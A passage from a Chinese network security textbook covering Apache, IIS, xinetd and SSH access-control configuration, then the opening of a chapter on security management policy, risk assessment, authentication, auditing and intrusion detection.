    authname  "shared  files"
    authtype  basic
    authuserfile  /etc/.passwd
    require  valid-user


用随Apache来的程序htpasswd 生成文件/etc/.passwd，每行一个用户名：密码。只要能提供正确的用户名和密码对，就允许登录访问，这是针对任何地址来的请求都要求提供用户名和密码认证。

以上是对用户进行的身份认证。如果需要对客户的来源地址进行认证，比如说，需要禁止来自于192.168.0.1的访问，则可以在httpd.conf中加入：


   ＜Directory  /home/ftp/pub＞
    Options  Indexes  FollowSymLinks
    AllowOverride  AuthConfig
    order deny，allow
    deny  from  192.168.0.1
    allow  from  all
   ＜/Directory＞


综合使用这两项，可以设置一些较为复杂的访问权限控制。例如对同一目录及其下的子目录设置不同的权限。例如要求用户 user1、user2、user3 都需要用户名和密码进入/home/ftp/pub，但是仅user1、user2能进入/home/ftp/pub/sales。则可以使用如下的配置：


   ＜Directory  /home/ftp/pub＞
    Options  Indexes
    AllowOverride  AuthConfig
    order allow，deny
    allow  from  all
   ＜/Directory＞
   ＜Directory  /home/ftp/pub/sales＞
    Options  Indexes
    AllowOverride  AuthConfig
    order allow，deny
    allow  from  all
   ＜/Directory＞


设置/home/ftp/pub/.htaccess为：


    AuthName  "shared  files"
    AuthType  Basic
    AuthUserFile  /etc/.passwd
    require  valid-user


设置/home/ftp/pub/sales/.htaccess


    AuthName  "shared  files"
    AuthType  Basic
    AuthUserFile  /etc/.passwd
    AuthGroupFile  /etc/.salesgroup
    require  group  manager


设置文件/etc/.passwd内容为：


    user1:passwd1
    user2:passwd2
    user3:passwd3


这样就实现了上述内容。

除了Apache之外，IIS（Internet Information Server）是另外一种流行的Web服务器，通常用于Windows NT/2000操作系统上。由于基于Windows系统的WWW服务器近年来数量的不断增加，IIS的使用也日渐广泛。以下我们主要就IIS 5.0来介绍其中用户认证和基于IP地址的访问控制。

IIS系统可以提供匿名访问模式，它不需要与用户之间进行交互，允许任何人匿名访问站点。除此之外，IIS可以提供三种用户认证方式，它们分别是基本认证方式、基于摘要的认证方式以及类似 Windows 的认证方式。基本（Basic）验证方式下用户输入的用户名和口令以明文方式在网络上传输，没有任何加密，非法用户可以通过网上监听来拦截数据包，并从中获取用户名及密码，安全性能一般；基于摘要的认证方式相对来说要安全一些，用户名、密码、以及其他一些相关信息一起计算出一个 hash值。这个hash值连带其他一些明文信息被传给服务器，服务器通过计算来判断认证是否通过。由于没有用户名和密码的网上明文传输，所以相对来说要安全一些，但是它无法抵抗如下几种攻击：转发攻击、中间人攻击、假冒等。因此也不是一种很强的认证方式。最后一种虽然最安全，但是却只有IE才提供支持。

对于IIS的各个目录，都可以利用ISM来配置这个目录的访问权限。具体步骤如下：

①启动ISM（Internet Server Manager）；

②启动WWW服务属性页；

③点击目录安全，然后即出现针对用户认证的访问控制配置以及针对来源IP地址的访问控制。可以根据自己的需要进行合理配置。

除此之外，已经设置成Web目录的文件夹，可以通过操作Web站点属性页实现对WWW目录访问权限的控制，而该目录下的所有文件和子文件夹都将继承这些安全性。WWW服务除了提供NTFS文件系统提供的权限外，还提供读取权限，允许用户读取或下载WWW目录中的文件；执行权限，允许用户运行WWW目录下的程序和脚本。具体设置方法：

①启动ISM（Internet服务器管理器）；

②启动Web属性页并选择“目录”选项卡；

③选择WWW目录；

④选择“编辑属性”中的“目录属性”进行设置。

以上我们简要介绍了WWW服务器的安全配置。WWW服务配置还有其他很多内容，我们这里限于篇幅，事实上只是介绍了其中使用最多的几个常见配置。如果需要更多信息，请参考相应的相关书籍。


4.4.2 Xinetd超级守护程序配置


由于更为出色的安全配置功能和性能，在较新的Linux系统中，都用Xinetd取代了原有的inetd。Xinetd在以下的几个方面具有inetd所无法比拟的优点：

访问权限控制。Xinetd可以用与tcpwrapper相似的语法来配置访问权限。这样可以限制客户来自于哪些地址段，或者不能来自于哪些地址段。

访问时间控制和占用资源控制。Xinetd可以配置该服务的允许访问时间，也可以配置每个服务所允许的最大资源限制。资源限制包括CPU、内存、数据段、堆栈段等。

更灵活的审计策略指定。Xinetd可以进行更灵活的审计策略。可以记录于syslog，也可以记录于文件，可以自己选择记录什么数据。

这样，Xinetd可以提供更强大的访问控制。以下我们简要介绍Xinetd的配置。以下是一个典型的服务配置文件：


    service  shell
    {
    socket_type     =stream
    protocol        =tcp
    wait               =no
    user               =root
    server            =/usr/sbin/in.rshd
}


上面的例子即是 shell 服务（514 端口）的配置文件。显然，其配置格式要比 inetd.conf来说要更易懂一些。对这一服务增加新的配置选项，只要在扩号中增加新的一行就可以了。首先我们增加新的基于源IP地址的访问控制。对于xinetd来说，由两个关键字可以配置针对源IP地址的访问控制。这两个关键字分别是only_from和no_access。其中only_from配置允许的源IP地址，而no_access配置禁止的来源IP地址，当一个IP地址同时被两者所包含时，那么禁止访问适用。它们可以识别如下几种格式的源IP指定：

IP地址。比如说：192.168.0.1。

网络名。该网络名是在/etc/networks里面设置了的。

CIDF格式。比如说：192.168.0.1/24，表示192.168.0.这个C类网。

域名。比如说：.edu.cn。当指定域名时，每次当有新的服务请求时，系统都将进行一次反向DNS查询，这样以便判定来源客户是否满足条件。

需要制定多个限制时，用空格隔开。下面就是添加了访问控制的shell服务配置：


    service  shell
    {
            socket_type     =stream
            protocol        =tcp
            wait               =no
            user               =root
            server            =/usr/sbin/in.rshd
            only_from       =192.168.0.1  192.168.1.1/24  .edu.cn
            no_access       =192.168.1.135
    }


这样可以容易地控制哪些IP地址禁止登录，哪些可以。加入服务限制条件，可以更好地管理系统。

Xinetd的另外一个显著的安全特性就是对系统资源访问限制的控制。近年来，随着拒绝服务攻击的不断涌现，保障服务的可用性也成为了一个大的问题。Xinetd可以通过以下的几个参数来限制服务最大使用系统资源数目。

per_source：这个参数限制来源于同一个IP地址的最多服务请求。多于则被丢弃。

cps：这个参数用于限制每秒的连接数目。

max_load：这个参数用于限制该服务所能够承受的最大负载。

除此之外，Xinetd还可以就系统所使用的CPU资源、内存资源等方面进行更为详细的配置。我们使用这些参数配置shell服务，例子如下：


    service  shell
    {
            socket_type     =stream
            protocol        =tcp
            wait               =no
            user               =root
            server            =/usr/sbin/in.rshd
            only_from       =192.168.0.1  192.168.1.1/24  .edu.cn
            no_access       =192.168.1.135
            max_load         =2
            cps                =5
            per_source      =1
    }


以上我们简要介绍了Xinetd的访问控制设置和一些防止拒绝服务攻击的方法。从目前来看，Xinetd已经有逐渐取代inetd成为各个操作系统标准部分的趋势。


4.4.3 SSH


SSH协议在开始设计时的目的就是：提供尽可能安全的远程存取方式。它可以用来进行任何基于网络的信息传递，而且适应性很强。Linux、UNIX、NT等系统都可以使用。由于在和远程交互时，传递的密钥、认证信息等都是加密的，所以安全性能很好。由于其版权的限制，近年来另外一个公开源代码的SSH服务器正在得到越来越广泛的应用。

我们将首先介绍 SSH 服务器的配置以及端口转发隧道功能，然后我们将简要介绍Openssh的一些配置。

SSH服务器的配置文件是/etc/ssh2/sshd_config，典型配置如下：


    Port  22
    # 这一参数配置SSHD监听的端口。
    ListenAddress  0.0.0.0
    # 这一项配置SSHD监听的地址，0.0.0.0说明对本系统上的所有接口都进行监听。
    LoginGraceTime  300
    # 如果用户不能成功登录，在切断连接之前服务器需要等待的时间（以秒为单位）。
    PermitRootLogin  no
    # 是否允许超级用户登录
    IgnoreRhosts  yes
    # 是否忽略.rhost文件
    StrictModes  yes
    # 设置ssh在接收登录请求之前是否检查用户HOME目录和rhosts文件的权限和所有权。
    # 这通常是必要的，因为新手经常会把自己的目录和文件设成任何人都有写权限。
    QuietMode  no
    # 审计模式。如果为yes的话就不进行任何审计记录。
    AllowX11Forwarding  no
    # 是否转发X数据包，我们将在下一部分详细介绍。
    PrintMotd  yes
    # 是否打印motd
    KeepAlive  yes
    # 是否进入keepalive模式。
    SyslogFacility  DAEMON
    # 以何种方式审计
    AllowAuthentications password，publickey
    #允许的认证方式是密码和公钥
    PermitEmptyPasswords  no
    # 是否允许空密码


其他有用的规则还有：


    AllowGroups –显式规定允许使用SSH登录的组(/etc/group)
    DenyGroups  – 显式规定禁止使用SSH登录的组(/etc/group)
    AllowUsers  - 显式规定允许使用SSH登录的用户
    DenyUsers   – 显式规定禁止使用SSH登录的用户
    AllowHosts  –允许的主机，其余禁止。
    DenyHosts   – 禁止的主机，其余开放。
    IdleTimeout time – 规定的超时时间（minutes/hours/days/），超时则强行发送 SIGHUP信号退出处理过程。


SSH还有另一项非常有用的功能，就是它的端口转发隧道功能，利用此功能，它可以让一些不安全的服务像POP3、SMTP、FTP、LDAP等通过SSH的加密隧道传输，这样即使这些服务本身是不安全的，其他中间媒介也无法监听了。SSH的加密隧道保护的只是中间传输的安全性，使得任何通常的嗅探工具软件无法获取发送内容。这一功能最常用于对X数据的加密传输当中。在以上例子中，如果我们设置了AllowX11Forwarding项为yes之后，就可以在本地使用远程X界面，而所有数据都经过SSH加密传输了。

SSH本身有版权限制，而其所使用算法的也有一定的版权限制。为了解决这一问题，近年来，OpenSSH用户数目越来越多。很多 Linux系统都缺省安装了 openssh。它是自由软件而且使用不受专利保护的加密算法。

“/etc/ssh/sshd_config”是OpenSSH的配置文件，其配置格式与以上所讲基本相同，所不同的是，ssh 2.0 以上的版本，使用了很多新的参数配置项。因此，我们也介绍一下 openssh的参数配置。以下就是一个典型的配置文件。


    #  This  is  ssh  server  systemwide  configuration  file.
    Port  22
    ListenAddress  192.168.1.1
    HostKey  /etc/ssh/ssh_host_key
    ServerKeyBits  1024
    LoginGraceTime  600
    KeyRegenerationInterval  3600
    PermitRootLogin  no
    IgnoreRhosts  yes
    IgnoreUserKnownHosts  yes
    StrictModes  yes
    X11Forwarding  no
    PrintMotd  yes
    SyslogFacility  AUTH
    LogLevel  INFO
    RhostsAuthentication  no
    RhostsRSAAuthentication  no
    RSAAuthentication  yes
    PasswordAuthentication  yes
    PermitEmptyPasswords  no
    AllowUsers  admin


下面我们介绍一下上一个配置文件中所没有的配置选项。

HostKey /etc/ssh/ssh_host_key：“HostKey”设置包含计算机私人密钥的文件。

ServerKeyBits 1024：“ServerKeyBits”定义服务器密钥的位数。

KeyRegenerationInterval 3600：“KeyRegenerationInterval”设置在多少秒之后自动重新生成服务器的密钥（如果使用密钥）。重新生成密匙是为了防止用盗用的密钥解密被截获的信息。

IgnoreUserKnownHosts yes：“IgnoreUserKnownHosts”设置 ssh daemon 是否在进行RhostsRSAAuthentication安全验证的时候忽略用户的“$HOME/.ssh/known_hosts”。

LogLevel INFO：设置记录sshd日志消息的层次。

RhostsRSAAuthentication no：设置是否允许用rhosts或“/etc/hosts.equiv”加上RSA进行安全验证。

除此之外，无论是sshd或者是openssh的sshd，都可以从inetd及其类似的超级服务器来启动。使用“-i”即可。下面是一个典型的xinetd配置文件：


    service  ssh
    {
            socket_type       =stream
            protocol            =tcp
            wait                  =no
            user                  =root
            server               =/usr/local/sbin/sshd
            server_args       =-i
            only_from          =192.168.0.1  192.168.1.1/24  .edu.cn
            no_access          =192.168.1.135
            max_load            =2
            cps                   =5
            per_source        =1
    }


这样启动的好处在于，可以进行更为灵活的配置，避免系统遭到拒绝服务式攻击的影响。对于SSH这样计算度较高的服务，这样做意义尤其显著。
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第5章 网络安全防护


CHAPTER 5


网络安全，最重要的在于对网络进行防护，避免造成大的损失。我们这里并不否认检测、响应、恢复的重要作用，但是“防患于未然”始终是一个重要的指导原则。网络安全被破坏之后，虽然能够亡羊补牢，但是毕竟已经造成了损失。

本章中主要针对以下三个方面介绍网络的防护措施：网络安全管理政策，致力于对组织制定有效的安全政策，使安全管理、安全防护有章可循，同时也使防护中有重点、有效率；网络安全风险评估，重点介绍网络风险的组成和评估过程；最后我们将介绍网络的访问控制原理和防火墙的概念和主要功能。




5.1 网络安全管理政策


除了在网络设计上增加安全服务功能，完善系统的安全保密措施外，网络安全管理政策也是其中重要的一环。从以往的经验来看，诸多的不安全因素往往来自于缺乏必要的安全管理政策上面，“人”的因素是计算机网络安全所必须考虑的重要问题，因此缜密的安全管理政策的制定应引起各计算机网络应用部门的高度重视。信息系统的安全管理部门应根据管理原则和该系统处理数据的保密性，制订相应的管理制度或采用相应的规范。具体工作是：

（1）根据工作的重要程度，确定该系统的安全等级。

（2）根据确定的安全等级，确定安全管理的范围。

（3）制订相应的机房出入管理制度。对于安全等级要求较高的系统，要实行分区控制，限制工作人员出入与己无关的区域。出入管理可采用证件识别或安装自动识别登记系统，采用磁卡、身份卡等手段，对人员进行识别、登记管理。

（4）制订严格的操作规程。操作规程要根据职责分离和多人负责的原则，各负其责，不能超越自己的管辖范围。

（5）制订完备的系统维护制度。对系统进行维护时，应采取数据保护措施，如数据备份等。维护时要首先经主管部门批准，并有安全管理人员在场，故障的原因、维护内容和维护前后的情况要详细记录。

（6）制订应急措施。要制订系统在紧急情况下，如何尽快恢复的应急措施，使损失减至最小。建立人员雇用和解聘制度，对工作调动和离职人员要及时调整相应的授权。

从根本上来说，所有网络安全系统的组成部分，都是网络安全管理政策中的一个环节。因此，建立有效的网络安全管理政策，往往就成了各个组织机构所面临的最重要的问题。目前越来越多的国家已经开始注意到了这一点，并针对如何建立有效的网络安全管理政策及其评估，实施了各种标准。其中尤以BS 7799最为著名。

BS 7799的最原始的版本是1995年出版，为了确保它的不过时，所有的标准需要定期地评定。BS 7799：1999就是1995版本的一个修订版本和扩展版本，它包含了所有的原始的控制和一套在原有的基础上扩展的新的控制。例如，新版本包括关于电子商务、移动计算机、远程工作和外部采办等领域的控制。BS 7799分两部分出版：BS 7799-1：1999信息安全管理应用程序和BS 7799-2：1999信息安全管理系统的规范。它是用于组织实施信息安全管理的一项体制。有10个以文献形式体现的各种控制主题，其范围从来自第三方合同的风险识别，报告各种可能的安全事故到密码管理系统和用户培训。自推出后，BS 7799在确保公司发展、实施和估量有效的安全管理政策方面起到了重要作用，并因此受到国际一致好评。不久之后，BS 7799 中的具有通用意义的部分演变成为了国际标准 ISO 17799—Information Technology-Code of Practice for Information Security Management。除此之外，ISO 13335也是有关信息安全管理政策方面的重要文献。

值得注意的是，网络安全管理政策是信息安全管理政策的一个组成部分。信息安全管理政策是通过保证维护信息的机密性、完整性和可用性来管理和保护机构部门的所有的信息资产的一项体制。由于因特网的日益迅速的发展，网络安全管理政策正在成为其中的一个重要组成部分。另外，本文中所提到的网络安全管理政策，也与网络管理中的安全管理有所不同：网络的安全管理是管理政策的一个组成部分，但网络安全管理政策不只限于这些，网络安全管理政策还涵盖了像认证与访问控制政策、入侵检测和紧急响应政策等多个方面。网络安全管理政策更侧重于就网络总体本身需求来定义组织范围内的总体策略方针。

在以下的篇幅中，我们主要就信息安全管理政策中的网络安全管理政策部分，参考相关标准进行介绍。首先介绍如何建立恰当有效的安全政策。

一个组织机构的公司IT安全政策可能包括关于对机密性、完整性、可用性、认可、责任性、真实性和可靠性等需求的论述，以及对直接涉及网络连接的威胁类型和防护要求的看法。例如，此类政策可能规定某些类型的信息或服务的可能性是主要关注的问题；不允许通过拨号连接；所有接入到因特网的连接必须经过安全网关；必须使用特定类型的安全网关；在没有数字签名的情况下，支付指令无效。

在确定安全风险类型和鉴定网络连接所需的潜在防护领域方面时，必须考虑到适用于整个组织机构的此类陈述、看法和要求。如果存在着任何此类安全要求，那么就可以在文件草案中拟定潜在防护领域清单，并且有必要在安全架构选项中反映出这一点。在此之后，还需要对下面内容的鉴定：将使用网络连接的类型；所涉及的联网特点和相关的信任关系；安全风险的类型；以及潜在防护领域清单的制定。这些应当在已经存在的或计划实施的网络架构和应用这一大前提下来进行。因此，值得一提的是，在进行这些认定之前，应当了解并审核相关网络架构和应用的详细情况，从而为后续步骤提供必要的理解并掌握问题的来龙去脉。

通过在早期阶段澄清这些内容，确定相关安全要求的鉴定标准、鉴定潜在的防护领域并精简安全架构的过程将变得更加有效，并可能导致更可行的解决方法的出台。同时，在早期阶段对网络和应用架构方面的内容加以研究，将使得这些架构在实际工作中无法在当前的架构中实现可接受的安全解决方案的情况下得到审核，乃至修改。在网络架构和应用中需要加以考虑的不同领域包括：

（1）网络类型：根据网络所覆盖的领域，网络可以被划分成：局域网（LAN），用于连接本地的系统；城域网（MAN），用于连接大城市范围内的系统；广域网（WAN），用于连接比大城市局域网的范围更大的系统，最大范围可以覆盖整个世界。

（2）网络协议：不同的协议具有不同的特点，并且需要进行专门的研究。例如，共享的媒体协议主要用于局域网（有时也用于城域网）并提供控制所连接系统之间共享媒体的使用的机制。由于使用了共享媒体，网络中的所有信息可以被连网的系统得到。

路由协议用于确定经过不同节点的路由，信息是在城域网和广域网中通过节点传输的。信息物理上可以被所有路由经过的系统得到，同时路由可能会被无意或有意地修改。

协议可以用于不同的网络布局，例如，总线拓扑结构、环形和星形拓扑结构。无论是通过有线技术还是通过无线技术来实施的，这些拓扑结构都可能对安全产生进一步的影响。

（3）网络应用：网络中所使用的应用程序的类型需要在安全前提下加以研究。这些类型可以包括：基于终端仿真的应用程序；基于存储和转寄或假脱机的应用程序；以及客户服务器应用程序。

当审核网络结构和应用程序时，同样还应当考虑组织机构内现有网络的连接以及同所建议的网络进行的连网。例如，组织机构现有的连接可能由于协议或契约而限制或阻止新的连接。连接到组织机构的网络或建议组织机构所进行的连接，可能会带来额外的漏洞和更高的风险，同时需要批准采取更强大的和/或额外的防护措施。下面我们将就建立网络安全管理政策的一般步骤进行简要的论述。


5.1.1 鉴定网络连接的类型


存在着许多一般性的网络连接的类型，这些类型可能是某一组织机构所希望采用的。这些连接类型中的一些类型可以通过私营网络来实现（其访问被限制在已知的群体），而另一些类型可能通过公共网络来实现（任何组织机构或个人均可以对其进行潜在的访问）。再则，这些网络连接类型可以用于各种服务，例如，电子邮件或电子数据交换（EDI），并且可能涉及因特网、企业内部互联网或外部互联网设备的使用，每一种类型所需进行的安全考虑均千差万别。每一种连接类型可能拥有不同的漏洞和由此产生的相关安全风险，因此就需要各不相同的一整套防护措施。

表 5.1 展示了把一般性网络连接的类型加以分类的一个途径，而这些网络连接可能是从事业务所需要的。每一种类型均提供了描述性范例。

考虑到相关的网络架构和应用程序，应当选择表 5.1 中所列出的适用于正在考虑的一个或多个网络连接类型。

应当注意的是，本文件中所描述的一般性网络连接是从商业角度而非技术角度来进行组织和分类的。这就意味着两个不同的网络连接类型有时可能是通过相似的技术手段来加以实施的，并且也意味着防护措施在某些情况下可能是相似的，但在另外的情况下则是完全不同的。


表5.1 网络连接的类型
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5.1.2 审核网络特点和相关的信任关系


1.网络特点

应当审核现有的或建议建立的网络的特点。尤其重要的是确定该网络是哪种：

公共网络——任何人均可接入的网络。

私营网络——由自己的或租用的线路组成的网络，通常被认为是比公共网络更安全。

同样重要的是了解网络中所传输数据的类型，例如：

（1）数据网络——主要是传输数据并使用数据协议的网络。

（2）声音网络——用于电话但同样也可以用于数据的网络。

（3）同时用于数据和声音的网络。

其他信息，例如网络是信息包网络还是交换网络，同样也是密切相关而需要了解的。

再则，同样还应当确认，连接是永久性建立的，还是根据需要建立的。

2.信任关系

一旦现有的或计划建立的网络的特点得到确认，并且至少已确认了该网络是公共的还是私营的，那么就应当确定相关的信任关系。

首先，应当使用表5.2中所列出的简单矩阵来确定与网络连接相关的可适用的信任环境。


表5.2 信任环境的描述
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其次，相关的信任环境（低、中、高）应当涉及适用的网络特点（公共的和私营的）以及网络连接类型，以建立信任关系。使用表5.3可以做到这一点。

3.信任环境


表5.3 信任关系的识别
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从表5.3中可以确定每一个相关信任关系的参照类别。表5.4描述了所有可能存在的类别。


表5.4 信任关系的参照对比
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这些参照将被用于确认安全风险的类型并确定潜在的防护领域。网络结构和应用程序中的可用信息可以用来协助完成此项任务。


5.1.3 确定安全风险的类型


如前所述，大多数组织机构当今均依赖于IT系统和网络的使用，以支持其商业运作。而且，许多情况下，在使用网络连接方面存在着明确的商业要求，无论组织机构中一个办公地点的IT系统连接到其内部还是外部的其他办公地点。当连接到其他网络时，应当特别注意的是确保所连网的组织机构不遭受额外风险的威胁。这些风险，例如，可能是由连网本身或者是由与其他网络终端连接所造成的。

网络连接对于商业运作是极为重要的，与此同时也必须承认，使用这些连接可能带来额外的风险——某些风险可能涉及对法律的遵守情况。这里所阐述的风险类型涉及有关未经授权的访问信息、未经授权的发送信息、恶意代码的传入、拒绝接收或数据源以及拒绝服务连接等方面的问题。因此，一个组织机构可能面临的安全风险类型涉及下列特性的丧失：

信息的机密性；

信息的完整性；

信息和服务的可用性；

承诺的履行；

交易的责任性；

信息的真实性；

信息的可靠性。

并非所有的安全风险类型均适用于每一个场合或每一个组织机构。然而，需要对安全风险的相关类型加以鉴定，这样才能确定潜在的防护领域（并最终能够选择、设计、实施和维护防护措施）。

应当搜集有关对商业运作造成潜在影响的信息，这些信息涉及上述的安全风险类型（而上述内容则是安全风险分析与管理审核所取得的成果），并认真研究所涉及价值或信息的敏感性（也可以称之为潜在的负面商业影响）和相关的潜在威胁和漏洞。

需要强调的是，在完成这一任务方面，应当利用安全风险分析与管理审核中有关网络互联内容的成果。无论实施这一审核的具体程度如何，这些成果均将使我们能够把重点放在与上面所列的安全风险类型相关的潜在的负面商业影响，以及威胁类型、漏洞和所关注的风险方面。通常，越是信任一个用户，就越需要采取更严格的控制措施。


5.1.4 确定适当的潜在防护领域并建立防护措施


利用以前章节所确定的基本参数和需求，可以用来鉴定潜在的防护领域并建立恰当的防护措施。我们将这些防护措施分成如下几个方面进行探讨：安全服务管理、鉴定与验证、审计跟踪、入侵检测、恶意代码防护、网络安全管理、安全网关，数据的保密性、完整性和可信性，虚拟专用网以及灾难恢复等。我们的这些论述，主要是依据ISO 13335的第五部分来组织的。一般说来，一个安全解决方案可能会包含这些所有的潜在防护领域。在建立具体的安全防护措施时，可以在相关网络架构和应用程序的背景下审核防护领域的这份清单，然后把这一清单作为一个基础，为今后所要从事的选择、设计、落实和维护工作做准备。

1.安全服务管理

任何网络的主要安全要求是得到安全服务管理行动的支持，这些行动将启动并监控安全措施的实施和操作。这些行动应当确保一个组织机构的IT各个方面的安全。在网络连接方面，管理行动应当包括：

明确所有与网络连接的安全相关的责任，任命一个负责总体安全事务的安全管理员；

以文件形式制定的系统安全政策以及与之相配套的技术安全架构；

以文件形式制定的安全操作程序（SecOPs）；

安全达标性检查的执行，以确保安全状况维持在所要求的级别上；

在批准进行网络连接之前，以文件形式为将要进行的连接制定的安全前提条件；

以文件形式为网络用户制定的前提条件；

安全性突发事件处理方案；

以文件形式制定的并经过测试的商业连续性/灾难恢复计划。

以下我们将就这些内容进行简单的介绍。

（1）安全操作程序：在支持系统安全政策方面，应当制定并维护安全操作程序（SecOPs）文件。这些文件的内容应当包括日常操作程序中与安全有关的细节问题，以及由谁负责程序的使用与管理。

（2）安全达标性检查：对于网络连接来说，应当依照由防护措施组成的完整清单来进行安全达标性检查，下列文件列出了这些防护措施：

“系统”安全政策；

相关的安全操作程序；

技术安全架构；

安全网关服务使用（安全）政策；

商业连续性计划；

在某些情况下连网的安全性前提条件。

在任何网络连接投入实际运行之前，以及在使用新版本（与商业方面的重大改动或网络方面的改动有关）之前，均应当进行安全达标性检查。而在其他情况下，这一检查应当每年进行一次。

（3）连网的安全条件：除非已提出了连网所需的安全性前提条件并且以签订合同的方式同意了这些条件，否则一个组织机构实际上就接受了与连网相关的风险。

举例来说，组织机构A可能会提出，在组织机构B通过网络互联连接到其系统之前，B必须维护并证明其参与这一连网的系统的特定安全水平。这样，A才会相信B正在以可以接受的方式管理其风险。在这种情况下，A应当在连网文件中提出安全性前提条件，详细列出B方终端中需要实施的防护措施。应当由组织机构B来实施这些防护措施，之后由该组织机构签署一项与实施工作相关的具有约束力的声明，并且使安全状况得到维护。组织机构A将保留试车的权利或对B进行达标性检查。

还可能出现的情况是，两个组织机构相互同意记录各方所担负的义务和责任，包括检查对方的达标性在内的“连网的安全性前提条件”文件。

（4）以文件证明的网络服务用户的安全条件：应当向得到远程办公授权的用户颁发“网络服务用户的安全性前提条件”文件。该文件应当描述用户在与网络及其安全相关的硬件、软件和数据方面所担负的责任。

（5）突发事件的处理：在进行连网的情况下（与没有进行连接的情况相比），恶性事故更容易发生，并且会导致更为严重的负面商业性影响。再则，特别是在同其他组织机构进行网络互联的情况下，可能会出现与突发事件相关的法律纠纷。

进行网络连接的组织机构需要精心制定并实施突发事件处理方案，并建立相关的基础设施，使之能够在确认突发事件发生时做出迅速反应，把负面影响降低到最小限度，接受教训，力争防止事件的再次发生。

2.鉴定与验证

鉴定与验证的主要作用是确保网络服务及相关信息的安全通过，并通过只允许合法用户访问网络（无论是组织机构内部的还是外部的）来进行保护。

（1）远程登录：无论是远离组织机构办公的经授权人员、远程维护工程师还是来自其他组织机构的人员，要么是通过拨号、因特网连接和其他组织的专线，要么是通过共享因特网的访问权限来进行远程登录的。这些连接是根据内部系统或合作伙伴的需求，通过使用公共网络来建立起来的。每一种类型的远程登录均要求采取适合于连接类型的额外防护措施。防护措施的例子有：

不允许用于远程访问的账号直接访问系统和网络软件，除非已经提供了额外的验证，或进行了终端对终端加密。

防止非法访问与电子邮件软件相关的信息和存放在供某一组织机构的官员在其办公室以外使用的个人电脑和便携式电脑中的目录数据。

（2）验证的加强：用户身份号/保密字的配套使用是验证用户的一个简单途径，但它们可以被盗用或被猜测到。存在着其他一些更加安全的途径来验证用户，特别是验证远程用户。未经授权人员可能获取访问受保护的重要系统的权限，当这种可能性较大时，就需要加强验证。例如，因为可以通过使用公共网络来进行访问，或者访问的系统处在组织机构的直接监控之外（例如便携式电脑），所以就可能出现上述情况。

在要求加强网络连接的验证操作（例如，通过签署合同）或者因为风险而有理由这样做的情况下，组织机构应当考虑通过实施相关的防护措施来加强人员验证操作。举例如下：

使用其他的识别手段来支持用户的验证，例如经远程核实的令牌、智能卡、磁条卡（即通过个人电脑上附带的读卡器）、手持式一次性密钥生成装置、回拨调制解调器和基于生物技术的设备。

确保令牌和各类卡只能在同经授权用户的验证账号（最好是同该用户的个人电脑和办公地点/访问地点），以及任何相关的个人身份号码（PIN）或生物特征一起使用才能生效。

使用呼叫者通信线路的认证。

使用通过调制解调器的连接，该连接在不使用时则会断开，并且只有在呼叫者的身份得到确认后才能连接。

（3）远程系统鉴定：正如以上所述，应当根据情况通过对外部访问的系统（及其所在位置/访问入口）进行确认来加强验证。应当认识到的一点是，不同的网络架构可以提供不同的识别能力。因此，组织机构可以通过选择适当的网络架构来使识别操作得到加强。应当对所选择网络架构的所有安全防护能力加以研究。

（4）安全的单一签名：在涉及网络连接的情况下，用户可能会遇到多重识别与验证检查。在这种环境下，用户可能受到诱惑，采用了诸如把保密字写在纸上或重复使用相同的验证数据之类的不安全做法。安全的单一签名可以减少这类做法所带来的风险，因为单一签名可以减少用户必须牢记的保密字的数量。提高用户的工作效率并减少与保密字重设相关的工作，也可以降低风险。

然而，应当注意的是，由于不止一个系统和应用程序可能处在风险之中并且对安全危害（有时也被称作“王国的钥匙”风险）呈开放状态，因此安全的单一签名系统的失败后果可能是极为严重的。

所以，比正常的识别和验证机制更为健壮的机制是必须的，它可能希望把对高级权限（系统级）功能的识别和验证操作排除在安全的单一签名机制之外。

3.审计跟踪

对安全性突发事件的检测、调查和报告来确保网络安全的有效性是十分重要的一个环节。应当记录下足够多的错误环境和正当事件的审计跟踪信息，这样才能通过审核来发现受到怀疑的和实际已发生的突发事件。不过，由于海量的审计信息使分析工作难以管理并影响到运行状况，最好时刻观注实际工作中所记录的信息。

可以利用13335号技术报告第4部分的内容来确定与网络连接和相应IT系统相关的大多数审计防护措施。对于网络连接来说，对下列类型的事件进行审计是十分重要的：

远程登录已失败的尝试及其日期和时间；

已失败的重新验证（或令牌使用）事件；

安全网关通信受到破坏；

访问审计跟踪记录的远程尝试；

产生安全影响的系统管理报警（例如，IP地址的复用、载荷线路的中断）。

审计跟踪将包含着那些希望通过网络连接对系统发起攻击的人士所需的敏感信息或使用信息。再则，掌握审计跟踪可以在出现争议的情况下提供网络传输情况证明，因此在确保完整性和认可性的情况下特别重要。因此，应当对所有的审计跟踪进行适当的保护。

4.入侵检测

随着网络连接的增加，入侵者将更容易找到多种方式侵入到某一组织机构的IT系统和网络中，或者伪装成系统或网络的访问入口，并通过网络访问内部IT系统并把之列为攻击目标。

再则，入侵者会变得更加富有经验，并且可以很容易地在因特网上或开放的图书馆中找到更为先进的攻击方法和工具软件。事实上，许多此类工具软件是自动运行的，极为有效并且很容易使用，即使是经验有限的人也可以使用。

对于大多数组织机构来说，花费很多经费来防止所有潜在的攻击是根本不可能做到的事情。因此，一些侵入事件很可能会发生。可以通过实施良好的识别和验证、逻辑访问控制以及会计和审计防护措施，并同时加强侵入检测能力，来应对与大多数侵入事件相关的风险。此类检测能力提供的手段可以预报、实时识别入侵事件并发出适当的警报。它还同样能够在本地搜集入侵信息，合并这些信息并对之进行分析，并对组织机构中正常的IT行为模式/使用情况进行分析。

在许多情况下可以看出发生了未经授权的或恶意的事件，它可以是出于未知原因而出现的服务性能轻微降低，或者是访问的次数超出预料，亦或是特定服务的拒绝。在大多数情况下，重要的一点是尽早了解侵入的原因、严重程度和范围。

作为网络安全管理政策组成部分的入侵检测，不仅仅是一个系统，更是指一种经验、措施或者是制度保证。

5.恶意代码的防护

用户需要意识到，恶意代码可以通过网络连接侵入到其工作环境中。在没有造成损害之前，可能没有检测到恶意代码，除非采取了适当的防护措施。恶意代码可以导致安全防护措施受到危害（例如，保密字的捕俘和泄露）、信息的无意泄露、信息的无意修改、信息的销毁，以及/或者未经授权地使用系统资源。

